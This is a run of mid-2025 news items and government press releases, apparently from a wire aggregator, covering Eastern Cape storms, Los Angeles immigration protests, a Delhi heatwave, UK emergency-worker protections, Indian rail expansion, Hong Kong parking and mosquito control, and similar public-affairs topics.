“As a nation, we are embarking on a new path of partnership and united action. We are drawing on our traditions of dialogue and debate. We are determined to define a shared vision of a nation which belongs to all South Africans united in their diversity,” the President said. – SAnews.gov.za
The Eastern Cape Provincial Government has activated its disaster management teams in response to severe cold front and associated weather conditions that have struck the province since Monday, 9 June 2025.
In a statement issued on Tuesday, the provincial government confirmed that emergency response teams have been dispatched to various areas and are working around the clock to provide critical support to communities impacted by heavy rainfall, strong winds, and snowfall.
The South African Weather Service has issued an Orange Alert Level 6, warning of disruptive snowfall in high-lying regions of the province, potential road closures, flooding, and possible power interruptions.
Several roads have been affected by the heavy rains, including the R61 from Umthatha to Ngcobo and N2 to Kokstad near Emakhaphetshwini outside Umthatha. Damages have also been reported in homes in the OR Tambo, Joe Gqabi, Sarah Baartman Districts and Nelson Mandela Bay Municipality.
Rescue teams were dispatched to bolster rescue efforts just along the R61 outside Mthatha, where three children were stuck on a tree. The children have since been rescued.
The provincial government also confirmed that roads such as Wapadsberg Pass, along the R61 between Nxuba and Graaff-Reinet, have been blanketed in snow, prompting a warning to motorists to drive with extreme caution.
“The provincial government’s primary objective is to safeguard lives and infrastructure during this extreme weather event. Community members are advised to remain alert, monitor official updates, and strictly follow safety directives,” the provincial government said.
Eastern Cape Premier, Lubabalo Oscar Mabuyane, has urged all motorists to exercise extreme caution and avoid non-essential traveling, as well as travelling through flood-prone and mountainous areas.
He also urged citizens to immediately report hazards, such as downed power lines and road accidents to the nearest authorities.
“Our disaster teams are on high alert and ready to respond wherever assistance is needed. We urge the public to stay cautious and prioritise safety above all else.
“Government is fully mobilised, coordinating closely with local municipalities and emergency services to manage the impact of the weather system and support those affected,” Mabuyane said. – SAnews.gov.za
Several U.S. cities braced for protests on Wednesday against President Donald Trump’s sweeping immigration raids, as parts of the country’s second largest city Los Angeles spent the night under curfew in an effort to quell five days of unrest.
The Governor of Texas, Republican Greg Abbott, said he will deploy the National Guard this week, ahead of planned protests. Protesters and police in Austin clashed on Monday.
Trump’s extraordinary measures of sending National Guard and Marines to quell protests in Los Angeles has sparked a national debate on the use of military on U.S. soil and pitted the Republican president against California’s Democrat governor.
“This brazen abuse of power by a sitting president inflamed a combustible situation, putting our people, our officers and even our National Guard at risk. That’s when the downward spiral began,” California Governor Gavin Newsom said in a video address on Tuesday.
“He again chose escalation. He chose more force. He chose theatrics over public safety. … Democracy is under assault.”
Newsom, widely seen as preparing for a presidential run in 2028, and the state of California sued Trump and the Defense Department on Monday, seeking to block the deployment of federal troops. Trump in turn has suggested Newsom should be arrested.
Hundreds of U.S. Marines arrived in the Los Angeles area on Tuesday under orders from Trump, after he also ordered the deployment of 4,000 National Guard to the city. Marines and National Guard are to be used in the protection of government personnel and buildings and not in police action.
Los Angeles Mayor Karen Bass said the deployments were not necessary as police could manage the protest, the majority of which have been peaceful, and limited to about five streets.
However, due to looting and violence at night she imposed a curfew over one square mile of the city’s downtown, starting Tuesday night. The curfew will last several days.
Police said multiple groups stayed on the streets in some areas despite the curfew and “mass arrests” were initiated. Police earlier said that 197 people had already been arrested on Tuesday – more than double the total number of arrests to date.
Democratic leaders have raised concerns over a national crisis in what has become the most intense flashpoint yet in the Trump administration’s efforts to deport migrants living in the country illegally, and then crack down on opponents who take to the streets in protest.
Trump, voted back into office last year largely for his promise to deport undocumented immigrants, used a speech honoring soldiers on Tuesday to defend his decision.
He told troops at the army base in Fort Bragg, North Carolina: “Generations of army heroes did not shed their blood on distant shores only to watch our country be destroyed by invasion and third-world lawlessness.”
‘FULL-BLOWN ASSAULT’
“What you’re witnessing in California is a full-blown assault on peace, on public order and on national sovereignty, carried out by rioters bearing foreign flags,” Trump said, adding his administration would “liberate Los Angeles.”
Demonstrators have waved the flags of Mexico and other countries in solidarity for the migrants rounded up in a series of intensifying raids.
Homeland Security said on Monday its Immigration and Customs Enforcement (ICE) division had arrested 2,000 immigration offenders per day recently, far above the 311 daily average in fiscal year 2024 under former President Joe Biden.
Protests have also taken place in other cities including New York, Atlanta and Chicago, where demonstrators shouted at and scuffled with officers. Some protesters climbed onto the Picasso sculpture in Daley Plaza, while others chanted that ICE should be abolished.
Texas Governor Abbott said late on Tuesday that he will deploy the National Guard, which “will use every tool & strategy to help law enforcement maintain order.”
“Texas National Guard will be deployed to locations across the state to ensure peace & order. Peaceful protest is legal.
Harming a person or property is illegal & will lead to arrest,” Abbott posted on X.
South Texas organizations are expected to hold anti-ICE rallies on Wednesday and Saturday, CNN reported local media as saying.
About 700 Marines were in a staging area in the Seal Beach area about 30 miles (50 km) south of Los Angeles on Tuesday, awaiting deployment to specific locations, a U.S. official said.
California Attorney General Rob Bonta told Reuters the state was concerned about allowing federal troops to protect personnel, saying there was a risk that could violate an 1878 law that generally forbids the U.S. military, including the National Guard, from taking part in civilian law enforcement.
“Protecting personnel likely means accompanying ICE agents into communities and neighborhoods, and protecting functions could mean protecting the ICE function of enforcing the immigration law,” Bonta said.
U.S. Immigration and Customs Enforcement on Tuesday posted photos on X of National Guard troops accompanying ICE officers on an immigration raid. Trump administration officials have vowed to redouble the immigration raids in response to the street protests.
The last time the military was used for direct police action under the Insurrection Act was in 1992, when the California governor at the time asked President George H.W. Bush to help respond to Los Angeles riots over the acquittal of police officers who beat Black motorist Rodney King.
With the India Meteorological Department (IMD) warning that daytime temperatures in Delhi may soar to 45 degrees Celsius, the Health Ministry on Wednesday urged people to stay indoors during peak hours, and to drink safe fluids.
The IMD has issued an orange alert for the national capital on Wednesday.
The IMD has warned that daytime temperatures in Delhi could reach as high as 45 degrees Celsius, with night-time lows hovering around 29 degrees Celsius. The ongoing weather conditions are part of a prolonged heatwave affecting large parts of northwestern India.
“Extreme heat can be risky. Stay indoors during peak hours, eat lower-calorie food, drink safe fluids, and never leave kids or pets in parked cars,” the Health Ministry, said in a post on social media platform X.
“Call 108/102 if someone shows signs of heatstroke,” it added.
In an infographic shared along with the post, the Ministry urged people to avoid getting out in the sun, especially between 12:00 noon and 03:00 pm. It also urged citizens to avoid strenuous activities when outside in the afternoon, cooking during peak summer hours, and to open doors and windows to ventilate the cooking area adequately.
The Health Ministry advised citizens to avoid alcohol, tea, coffee, and carbonated soft drinks or drinks with large amounts of sugar and importantly not to leave children or pets in parked vehicles.
Call 108/102 immediately if you find someone with a high body temperature and is either unconscious or confused, the advisory said.
“The heat is rising, but awareness can save lives! A heatwave isn’t just about soaring temperatures. It’s about knowing the risks, recognising the signs, and protecting each other. Let’s beat the heat together!” said the IMD on X.
To protect from the heat, the IMD urged citizens to wear lightweight, loose-fitting, and light-coloured clothing. Cover your head using a hat, umbrella, towel, and drink water frequently, it said.
Earlier on Tuesday, Delhi recorded its highest maximum temperature of the season at 43.8 degrees Celsius, which is 3.6 degrees above the seasonal average, as per IMD data. According to the IMD, very hot weather and heat waves in Delhi will persist until at least June 12.
Dr. Atul Kakar from the Department of Internal Medicine, at a leading city-based hospital, told IANS that several patients are presenting with heat exhaustion, heat stroke, severe dehydration, gastroenteritis, and jaundice.
“Exposure to the sun should be the bare minimum. Wear full sleeve clothes, or take an umbrella or cover your head during that period when you are getting exposed to the sun,” Kakar said.
Take more liquids which may include lassi, lemonade, orange juice, or fruits that contain more water like watermelon and melon,” the doctor told IANS. He also urged people to avoid eating outside.
Source: United Kingdom – Executive Government & Departments
News story
Emergency workers to be better protected from racial abuse
Emergency workers will be better protected from violence and abuse when visiting homes as the government introduces new laws to support frontline staff.
Image: Getty Images
The new measures, tabled today as amendments to the government’s landmark Crime and Policing Bill, will close an existing loophole that allows people to get away with racial and religious abuse towards police, fire and ambulance workers making house calls.
Currently, it is illegal to racially or religiously abuse anyone in public, but this does not extend to behaviour within a private home.
The gap was originally designed to ensure that the laws that allow police to keep public spaces free from serious disorder did not overstep into private conversations held in homes.
By stopping short of people’s houses, the law has left emergency workers vulnerable and unprotected to racial and religious-based abuse and harassment during house calls, and unable to hold the perpetrators to account for their behaviour.
Reports of emergency workers being abused for their race or religion while in private homes have increased, and the government thinks it is vital they get the protections they deserve as they carry out their vital work to resolve home disputes and provide health care.
By closing the loophole in the Public Order Act 1986, the government is making clear that racially or religiously motivated abuse and threats towards our emergency workers will never be tolerated, regardless of where it takes place.
Under the change, offenders of abusing emergency workers in any setting could face a maximum sentence of 2 years imprisonment.
Policing Minister Dame Diana Johnson said:
Our emergency workers put themselves in harm’s way every day to keep us safe and they should never have to tolerate abuse due to their race or religion while simply doing their job.
As part of our Plan for Change, this government is rebuilding the bond between the public and police, and part of that means ensuring our officers have the protections they deserve.
By closing this loophole, we’re sending a clear message that racial and religious abuse directed towards those who serve our communities will not be tolerated.
Health and Social Care Secretary, Wes Streeting, said:
Our emergency workers carry out lifesaving work every day and deserve to feel safe from violence or intimidation.
Anyone who violates this core principle brings shame on themselves and will feel the full force of the law, wherever they are.
I will not stand any health worker being subjected to abuse and take a zero-tolerance approach, and these new measures will crack down on perpetrators.
Minister for Fire, Alex Norris said:
All emergency service workers should be able to carry out their duties without being subjected to unacceptable racial and religious abuse.
This government stands firmly behind emergency service workers and will not tolerate abusive behaviour towards those risking their lives to keep us safe.
Andy Rhodes, Director of the National Police Wellbeing Service, said:
Policing is an extremely fulfilling profession where officers can make a genuine difference to people’s lives and to their communities. We welcome the amendment to the legislation, which will better protect officers and staff who are there to protect the public.
Sadly, the role they play means they can often be faced with some incredibly challenging and hostile situations, especially in private homes, and over time, this can take a toll.
The protection of our officers and staff is a clear priority for all police chiefs. Hate crime has a devastating impact on individual victims, and racial, and faith-based discrimination against officers or emergency workers cannot be tolerated in any form.
Statement from Captiva Homes on Horsebridge Hill roadworks
We recognise the roadworks on Horsebridge Hill are continuing to cause disruption and inconvenience to residents and businesses, for which we apologise. We continue to work with Island Roads, the Council and other stakeholders to ensure this is minimised as much as possible. We are pleased to report that the works are being delivered in line with the agreed schedule and remain on track to be completed during the week commencing 4 July. This will facilitate the first Island families moving into their new homes this summer.
On site, road widening and kerbing installation has now been completed; traffic signal ducting and the new water main have been installed (the latter will reduce future work for Southern Water in the area).
Planned works in the week ahead will see base tarmac laid to road and footpaths, installation of ducts and sockets to the northbound carriageway and commencement of entrance works to the Three Oaks development.
The diversion of northbound traffic from Newport to Cowes saw a 4-minute increase in average journey times last week (2.6.25 to 6.6.25, from 16mins to 20 mins). This does not tell the full story as the closure of Middle Road for planned utility works last Tuesday and Wednesday evenings plus road traffic accidents in the Newport area caused significant delays.
Southern Vectis bus services continue to run a full daytime service (between 06.00 – 20.00) from Newport to Cowes and southbound travel from Cowes to Newport continues to flow smoothly throughout the day.
All businesses in the area remain open with access via the diversion.
Important changes to the traffic management plans are scheduled in the coming weeks, details below;
Isle of Wight Festival week
All works on Horsebridge Hill will cease and traffic will return to two-way along Horsebridge Hill from 20.00 on Tuesday 17 June to 20.00 on Monday 23 June
The current one-way system and diversion will be re-instated from 20.00 on Monday 23 June
Traffic from Nicholson Street will have north and southbound access from Monday 23 June
Two weekend road closures are required to facilitate foul sewer connections and road surfacing;
Full closure from 20.00 Friday 27 June to 06.00 Monday 30 June
Full closure from 20.00 Friday 4 July to 06.00 Monday 7 July
During the two weekend closures the current diversion route will operate for north and south bound traffic. To facilitate the diversion route there will be a clearway order for both sides of Pallance Road for the length, the 3 way temporary lights will remain on the Whitehouse Road/Corf Road junction and there will also be 4 way lights installed on Forest Road/Whitehouse Road junction to make it safer for vehicles emerging from Whitehouse Road.
Source: People’s Republic of China – State Council News
China recently released 10 new measures to improve people’s well-being and address most pressing concerns of the people, according to a Monday press conference. These measures span social security, public services, medical and educational services, as well as child and elderly care.
India’s transport infrastructure, particularly in metro and railways, has witnessed unprecedented growth over the past 11 years under the Prime Minister Narendra Modi-led NDA government. From expanding metro rail networks to introducing world-class trains and implementing green and digital upgrades, the country is rapidly building the foundation for Viksit Bharat@2047.
Metro rail services are now operational or under construction in 23 cities. As of May 2025, India’s metro network stands at 1,013 kilometres, a significant jump from just 248 kilometres in 2014. This marks an addition of 763 kilometres in just over a decade. Daily ridership has grown more than fourfold, rising from 28 lakh in 2013-14 to over 1.12 crore. The pace of metro line commissioning has increased nine times, and the annual budget for metro projects has expanded from ₹5,798 crore in 2013-14 to ₹34,807 crore in 2025-26. Further strengthening regional connectivity, the government introduced the Regional Rapid Transit System (RRTS), with Namo Bharat trains already operational on the Delhi-Meerut corridor.
Indian Railways has also seen record-breaking investments and capacity expansion. The overall capital outlay since 2014 stands at over ₹17 lakh crore, compared to ₹3.62 lakh crore between 2004 and 2014. More than 31,000 kilometres of new tracks have been laid, and over 45,000 kilometres renewed. A new generation of trains has transformed passenger experiences. The Vande Bharat trains, currently operating 136 services across 24 states and union territories, offer semi-high-speed travel with modern amenities. Plans are in place to manufacture 400 more such trains. The recently introduced Amrit Bharat and Namo Bharat trains also reflect the push for affordable and efficient mobility, with 100 Amrit Bharat and 50 Namo Bharat trains to be added in the next few years.
Indian Railways has committed to achieving net zero carbon emissions by 2030. Over 98% of the broad-gauge network has been electrified. Solar panels have been installed at more than 2,000 railway stations, and 100% of stations and service buildings now use LED lighting. Accessibility and passenger convenience have been enhanced with the installation of 1,790 lifts and 1,602 escalators, while Wi-Fi connectivity is now available at over 6,000 stations.
Technological advancements such as the indigenously developed Automatic Train Protection System, Kavach, have been deployed across 1,548 route kilometres. The system automatically applies brakes in case of overspeeding or non-response from the loco pilot, boosting passenger safety. The elimination of unmanned level crossings has been completed, with over 12,000 road over and under bridges constructed. In 2024-25 alone, 1,256 such bridges were built.
Several engineering marvels have been added to India’s railway map. These include the world’s highest railway arch bridge over the Chenab River, the Anji Khad cable-stayed bridge, and the new vertical lift Pamban sea bridge connecting Rameswaram to mainland India. The Kosi Rail Mahasetu near the India-Nepal border is another strategically significant addition.
Electrification has seen a massive push, with more than 45,000 route kilometres electrified between 2014 and 2025—compared to just 5,188 kilometres between 2004 and 2014. Electrification has already led to annual savings of nearly ₹3,000 crore. More than 6,600 stations have been equipped with electronic interlocking systems, reducing the risk of human error.
Innovative schemes such as One Station One Product (OSOP) are helping promote local artisans, with over 2,200 outlets operational across nearly 2,000 stations. The scheme has recorded sales worth ₹107.89 crore as of March 2025. Freight movement has also surged, with total loading touching 14,200 million tonnes between 2014 and 2025, compared to 8,473 million tonnes in the preceding decade. In 2024-25, a record 1,617 million tonnes was loaded.
The dedicated freight corridors (DFC), which had seen zero progress before 2014, are now more than 96% complete, with 2,843 kilometres commissioned. The Eastern DFC is fully operational, while the Western DFC is nearing completion. The government has also commissioned 100 Gati Shakti Cargo Terminals to reduce logistics costs and boost multimodal transport.
More than 1,300 railway stations are being redeveloped under the Amrit Bharat Station Scheme to introduce world-class amenities. PM Jan Aushadhi Kendras have also been set up at 68 railway stations to ensure the availability of affordable medicines.
In recent decisions, the Union Cabinet approved several key railway projects in 2025. These include the ₹1,332 crore doubling of the Tirupati–Pakala–Katpadi railway line, and four major projects worth ₹18,658 crore across Maharashtra, Odisha, and Chhattisgarh. The Waltair railway division was also reorganized to form new divisions under the South Coast and East Coast Railways.
India’s metro and rail sectors have become engines of growth, driving economic activity, job creation, and ease of living. The sustained investment, innovation, and political will over the past decade are positioning India as a global leader in transport infrastructure.
This is another step on the journey towards every pupil in Scotland receiving free school meals.
More in Education
The Scottish Greens have secured the expansion of free school meals to thousands more high school students, a move confirmed by the Scottish Government this morning.
During budget negotiations with the Government Green MSPs secured agreement to expand eligibility for free school meals to S1-S3 pupils in eight council areas across Scotland from August this year.
All S1-3 pupils whose families receive the Scottish Child Payment (SCP) will now be eligible for free school meals in Aberdeen, Glasgow, Fife, Moray, North Ayrshire, South Lanarkshire, Shetland and the Western Isles.
Scottish Green MSPs previously secured the expansion of universal free school meals to P4 and P5 pupils, as well as the ongoing expansion to P6 and P7 pupils who receive the SCP.
Scottish Greens spokesperson for education, Ross Greer MSP said:
“Thousands of young people will now get a free school meal through our pilot programme. Children can’t learn if they are hungry and we know that free meals can have a transformative impact on their success at school.
“The Scottish Greens have always championed universal free school meals, and that is why we brought this proposal to the table during budget negotiations. It builds on our previous work to expand free school meals in P4-7, which is already helping tens of thousands of children.
“These eight areas are just the start. Green MSPs will now push for this programme to be expanded to every other council as soon as possible and eventually, for every pupil from early years right up to S6 to receive a free school meal.”
Source: Peter the Great St Petersburg Polytechnic University – Peter the Great St Petersburg Polytechnic University –
On June 10, an important event took place in the village of Belskoye Ustye in the Porkhov district. New bells were consecrated in the Church of the Ascension of the Lord. The first rector of the Polytechnic University, Prince Gagarin, is buried near the church, and his estate Kholomki is located nearby.
The Polytechnic University plays a special role in the revival of the Church of the Ascension of the Lord. It not only provides financial support, but also directly participates in the restoration work. A special event is the installation of new bells, which will give the church a finished look and allow the bell ringing to sound again. They were cast by order of the ANO “Revival of Cultural Heritage Sites of Pskov and the Pskov Region”.
The rite of consecration of the bells was performed by Metropolitan of Pskov and Porkhov, Abbot of the Holy Dormition Pskov-Pechersky Monastery Matfey (Kopylov), assisted by clergy of the Pskov diocese. The ceremony was also attended by Bishop of Nizhny Tagil and Nevyansk Feodosiy (Chashchin) and Bishop of Karasuk and Ordynsk Philip (Novikov).
Not long ago we met with Andrey Ivanovich. Seeing his glowing eyes when the speech touched upon the revival of this ancient shrine, I believed at that moment that the temple would be restored and put into operation at all costs. Today we have gathered here to rejoice at the completion of another stage of restoration – the consecration of the bells. I would like to thank the staff of the Polytechnic University for their contribution to this important matter, – shared Metropolitan of Pskov and Porkhov, Abbot of the Holy Dormition Pskov-Pechersky Monastery Matfey (Kopylov).
The Metropolitan noted that the church will find its own voice, which will be heard by people and will become a guide for them on the path to God.
The temple, which was once one of the largest in the Pskov region, needs a full restoration, which has been actively carried out in recent years. Polytechnic is taking part in the restoration of the temple, so employees and graduates support the reconstruction both organizationally and financially. Ten bells were cast in Zhukovsky (Moscow region) with funds allocated by PJSC Rostelecom, for which special thanks to Polytechnic graduate Mikhail Eduardovich Oseevsky, – emphasized the rector of SPbPU Andrey Rudskoy.
The history of the Church of the Ascension of the Lord spans over two centuries. It was built in 1796 by Colonel Artemon Kozhin on his estate. Decades later, in the early 1860s, his son Pyotr Kozhin decided to build a new church due to the dilapidation of the old building. The new building in the style of early classicism with elements of baroque was built according to the design of the St. Petersburg architect Shestakov.
Over its long history, the temple has witnessed many significant events. In 1920, the funeral service for Prince A. G. Gagarin, an outstanding Russian scientist and engineer, the first director of the Polytechnic, was held here. In 1921–1922, the temple became a magnet for artists, including K. I. Chukovsky, E. I. Zamyatin, M. L. Lozinsky and others.
Unfortunately, in the 1960s the church was closed due to its emergency condition. Only in 2014 did large-scale work begin to restore the temple by an initiative group, which included representatives of SPbPU, the administration of the Pskov region and the “Orthodox Russia” movement. In 2023, the ANO “Revival of Cultural Heritage Sites of Pskov and the Pskov Region” began working with the architectural monument.
Today, restoration work on the restoration of this unique architectural monument continues, returning it to its former glory and grandeur.
Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.
Source: People’s Republic of China in Russian – People’s Republic of China in Russian –
Source: People’s Republic of China – State Council News
BEIJING, June 11 (Xinhua) — China’s auto production and sales volumes showed double-digit growth in the first five months of 2025, indicating robust consumer activity in the world’s second-largest economy.
The China Association of Automobile Manufacturers reported on Wednesday that 12.83 million vehicles were produced in the country in January-May 2025, up 12.7 percent year-on-year. Sales volumes, meanwhile, rose 10.9 percent to 12.75 million vehicles.
The production and sales volumes of new energy vehicles demonstrated impressive growth rates. In five months, 5.7 million of such vehicles were produced and 5.61 million were sold, an increase of 45.2 percent and 44 percent, respectively. -0-
Source: Hong Kong Government special administrative region
Following is a question by Dr the Hon Ngan Man-yu and a reply by the Secretary for Transport and Logistics, Ms Mable Chan, in the Legislative Council today (June 11):
Question:
Regarding the supply of car parking spaces, will the Government inform this Council:
(1) of the following information on parking spaces for various vehicle classes (including private cars, commercial vehicles and motorcycles) in Hong Kong from 2022 to 2024: the number of parking spaces, the district distribution, the utilisation rate, the increase or decrease in the number of parking spaces due to redevelopment, new development or other projects, with a tabulated breakdown by type of parking space (e.g. public or temporary car parks, on-street parking spaces); whether it has projected the parking space demand from this year to 2029, and of the currently planned number of parking spaces for various vehicle classes to be built, their locations, the government departments responsible for building them and their expected completion dates;
(2) whether it has plans to conduct a comprehensive review of the supply of parking spaces for various vehicle classes in the territory and study the further opening of car parks in schools and government premises in various districts in the evenings and on public holidays for public use; if so, of the details; if not, the reasons for that; and
(3) whether, on the pretext of not affecting traffic flow and road safety, it will consider increasing the number of free on-street parking spaces, extending the parking hours for night-time parking spaces and installing multi-storey stacked parking systems to improve land use efficiency; if so, of the details; if not, the reasons for that?
Reply:
President,
In response to Oral Question 1, the Government has outlined its parking policy and I am not going to repeat it here. We will adopt a multi-pronged strategy to comprehensively increase parking supply, including leveraging technology, fostering stronger collaboration among stakeholders, and prioritising the parking needs of commercial vehicles (CVs).
Having consulted the Transport Department (TD), a consolidated reply in response to the questions raised by Dr the Hon Ngan Man-yu is as follows:
(1) Over the past three years, the total number of parking spaces in Hong Kong has increased by more than 15 000, bringing the total to over 800 000 (Annex 1). The ratio of parking spaces to registered vehicles has improved, and the number of metered parking spaces has also grown (Annex 2). However, the recovery of some short-term tenancy (STT) car parks has led to a slight decline in CV parking spaces (Annex 3). To address this, we have implemented various measures to enhance CV parking supply. For example, public vehicle parks (PVPs) currently in operation and under construction will provide approximately 460 CV parking spaces, and we have mandated a minimum number of CV parking spaces in suitable STT car parks. The Government continues to collaborate actively with stakeholders to expand parking supply. Between 2022 and 2024, more than 25 000 additional parking spaces were introduced under urban redevelopment projects (Annex 4). Utilisation rates remain consistently high across all types of parking spaces, with metered parking spaces averaging around 90 per cent and trending upward. Among public car parks managed by the TD, utilisation rates range from approximately 80 per cent to 90 per cent, while STT car parks average around 60 per cent.
When advancing PVP projects, the TD assesses district-level parking demand based on illegal parking occurrences and the availability of facilities near project sites. For example, priority is given to areas with a high concentration of logistics trades for additional CV parking spaces. The TD will also consider conducting studies to forecast medium-to-long-term parking needs.
The currently operating and under-construction PVPs will provide over 3 200 parking spaces. We are also exploring the adaptive reuse of construction shafts left after the completion of the Central Kowloon Bypass, with plans to convert them into underground multi-storey car parks featuring automated parking systems (APS).
Over the next two years, the Government will introduce 12 000 additional parking spaces, with at least 500 designated for CVs. The actual quantity will be even higher when accounting for additional CV parking spaces from upcoming STT car parks and private development projects.
Our priority remains the expansion of CV parking spaces, particularly in areas facing shortages, and we will intensify efforts to promote APS. Through policy initiatives and co-ordinated action with districts, we are confident that Hong Kong’s parking supply will continue to improve. Projected parking space supply estimates beyond 2025 are detailed in Annex 5.
(2) The standard of parking facilities in the Hong Kong Planning Standards and Guidelines (HKPSG) will be reviewed regularly and revised when necessary to meet future transportation and policy needs. The first batch of subsidised housing planned under the revised HKPSG in 2021 (Note) is scheduled for completion in 2026, providing approximately 4 700 parking spaces across 26 subsidised housing developments. This includes 220 CV parking spaces, as well as the introduction of 33 medium/heavy goods vehicle and 18 coach/bus shared-use loading and unloading bays for night-time CV parking. The TD is closely monitoring the implementation of the revised HKPSG and will review it as needed to ensure it aligns with the latest developments.
The Government Property Agency has opened around 1 000 parking spaces within the 12 joint-user general office buildings under its management, with some parking spaces available for public use throughout the day. Additionally, public car parks managed by the Leisure and Cultural Services Department provide more than 2 700 parking spaces for public use. The TD is actively collaborating with the Housing Department to explore the possibility of opening loading/unloading bays in five subsidised housing developments, including Sha Tin and Tsuen Wan for night-time CV parking, given the substantial parking demand from medium and heavy goods vehicles in these areas. Furthermore, the TD is working with the Education Bureau to encourage more schools to make school bus parking spaces available for student service vehicles during non-school hours, specifically to address CV parking needs.
(3) The TD has been proactively identifying suitable locations across districts to provide additional on-street parking spaces. As of 2024, more than 1 860 on-street night-time parking spaces have been designated. The free parking period for over 600 CV night-time parking spaces has been adjusted to start at 7pm, and future provisions of such spaces will aim to advance the free parking period as much as possible.
The Government has been implementing APS projects in suitable PVPs and STT car parks, as APS can nearly double the parking capacity within the same space. PVPs currently under construction will provide 1 000 automated parking spaces. Additionally, seven private car parks and three STT car parks are already equipped with APS. The PVPs are located in Tseung Kwan O, San Po Kong, Sham Shui Po, and Ma On Shan, while the STT car parks are in Tsuen Wan, Tai Po, Sham Shui Po, and Yau Ma Tei. Various APS models are being adopted, including puzzle-stacking as proposed in the question, vertical lifting and horizontal sliding, as well as circular shaft lifting systems.
The widespread adoption of APS in Hong Kong requires private sector involvement from the society. Both the Electrical and Mechanical Services Department and the TD have published APS implementation guidelines for industry reference. In the future, the TD will actively encourage developers to adopt APS and explore further incentive measures.
Thank you, President.
Note: The 2021 he revised HKPSG has increased the number of ancillary parking spaces for PCs in private and subsidised housing developments, the types and numbers of parking spaces for CVs in subsidised housing development, and introduced two types of “shared-use” parking spaces, one of which is to be shared by light goods vehicles and light buses, and the other by medium/heavy goods vehicles and coaches.
Source: Hong Kong Government special administrative region
Hong Kong Customs yesterday (June 10) seized about 1.3 kilograms of suspected cocaine with an estimated market value of about $1 million in Hung Hom. A 33-year-old man suspected to be connected with the case was arrested.
During an anti-narcotics operation conducted in Hung Hom yesterday afternoon, Customs officers intercepted a suspicious man and seized about 1.3kg of suspected cocaine inside a rucksack carried by him. The man was subsequently arrested. Customs officers later escorted him to a residential premises nearby for a search and further seized a batch of suspected drug packaging paraphernalia.
The arrestee has been charged with one count of trafficking in a dangerous drug and will appear at the Kowloon City Magistrates’ Courts tomorrow (June 12).
Under the Dangerous Drugs Ordinance, trafficking in a dangerous drug is a serious offence. The maximum penalty upon conviction is a fine of $5 million and life imprisonment.
Members of the public may report any suspected drug trafficking activities to Customs’ 24-hour hotline 182 8080 or its dedicated crime-reporting email account (crimereport@customs.gov.hk) or online form (eform.cefs.gov.hk/form/ced002).
Source: Hong Kong Government special administrative region
​The Food and Environmental Hygiene Department (FEHD) today (June 11) announced that the monthly gravidtrap index for Aedes albopictus mosquitoes in May was 8.6 per cent, at Level 2, indicating that the distribution of Aedes albopictus mosquitoes in the survey areas was fairly extensive. Relevant government departments have stepped up mosquito prevention and control actions.
In May, among the 64 survey areas, the area gravidtrap index in six areas exceeded the alert level of 20 per cent. The gravidtraps were mostly located in the vicinity of private residential areas, public housing estates, schools, recreational and sports facilities and public places. The FEHD has collaborated with relevant government departments by taking immediate action to strengthen mosquito prevention and control work in the area concerned.
Moreover, the monthly density index for Aedes albopictus in May was 1.3, which represented that an average of 1.3 Aedes albopictus adults were found in the Aedes-positive gravidtraps, indicating that the number of adult Aedes albopictus was not abundant in the survey areas. The gravidtrap and density indices for Aedes albopictus in different survey areas as well as information on mosquito prevention and control measures are available on the department website at www.fehd.gov.hk.
A spokesman for the FEHD said, “There is a significant relationship between local mosquito infestation and seasonal changes. The gravidtrap indices in various survey areas would be relatively higher during hot and rainy spring and summer months (i.e. from May to September) as mosquitoes breed quickly. Members of the public are reminded to continue the routine mosquito prevention and control work, especially the repair and maintenance of structures. Cracks and dents that may accumulate water and become potential breeding grounds should be filled and levelled to reduce the chance of mosquito breeding.”
“The Government is concerned about the mosquito infestation in May. The increase in the monthly gravidtrap index for Aedes albopictus for May might be related to the continuously hot and rainy days in the month. The FEHD has continued to intensify the mosquito prevention and control work with relevant government departments in areas under their purview, including eliminating mosquito breeding places, applying larvicides, conducting fogging operations to eradicate adult mosquitoes, and placing mosquito trapping devices at suitable locations. The FEHD has also conducted site inspections with relevant departments, and provided them with professional advice and technical support to assist them in formulating and implementing effective anti-mosquito measures swiftly. At the same time, the FEHD has strengthened publicity and education. The FEHD will continue to monitor the mosquito infestation in all districts, and will conduct prompt and effective mosquito prevention and control work,” the spokesman continued.
The FEHD will conduct a three-phase Anti-mosquito Campaign this year. The second phase of the territory-wide campaign was launched on April 14 and will run until June 13. During the period, the district offices of the FEHD will target areas that have drawn particular concern, such as public markets, cooked food centres and hawker bazaars, single-block buildings, streets and back lanes, common parts of buildings, village houses, construction sites, vacant sites and road works sites, to remove accumulated water and carry out mosquito prevention and control work. To further enhance the effectiveness of mosquito control, the FEHD and relevant government departments have carried out phase two of the All-out Anti-mosquito Operations from May 7. In addition to the work of phase one, including eliminating potential mosquito breeding places, the FEHD called on property management entities to arrange for necessary repairs to their premises to minimise mosquito breeding places and commence adult mosquito control measures by means of regular ultra-low volume fogging operations.
The FEHD appeals to members of the public to continue to stay alert and work together to carry out mosquito prevention and control measures early, including inspecting their homes and surroundings to remove potential breeding grounds, changing water in vases and scrubbing their inner surfaces, removing water in saucers under potted plants at least once a week, properly disposing of containers such as soft drink cans and lunch boxes, and drilling large holes in unused tyres. The FEHD also advises members of the public and estate management bodies to keep drains free of blockage and level all defective ground surfaces to prevent the accumulation of water. They should also scrub all drains and surface sewers with an alkaline detergent at least once a week to remove any mosquito eggs.
Aedes albopictus is a kind of mosquito that can transmit dengue fever (DF). DF is commonly found in tropical and subtropical regions of the world, and has become endemic in many countries in Southeast Asia. In 2024, the World Health Organization recorded over 14 million DF cases, which was a record number. The dengue activity in neighbouring areas has remained high. Members of the public should stay vigilant and continue to carry out effective mosquito prevention and control measures.
Source: Hong Kong Government special administrative region
The Marine Department (MD), in collaboration with the search and rescue (SAR) agencies in Guangdong and Macao as well as several Hong Kong government departments, including the Guangdong Rescue Co-ordination Centre, the Macao Marine and Water Bureau, the Macao Customs, the Hong Kong Police Force, the Government Flying Service, the Fire Services Department and the Civil Aid Service, smoothly conducted a joint maritime SAR exercise in the waters off Ha Mei Wan, Lamma Island, today (June 11).
A spokesman for the MD said, “The objective of the SAR exercise is to test the communication efficiency, co-ordination capabilities and resource deployment among the SAR agencies in Guangdong, Hong Kong and Macao. The exercise also aims to strengthen co-operation between Hong Kong and neighbouring regional SAR centres to enhance their response capabilities in the event of future major maritime emergency incidents.”
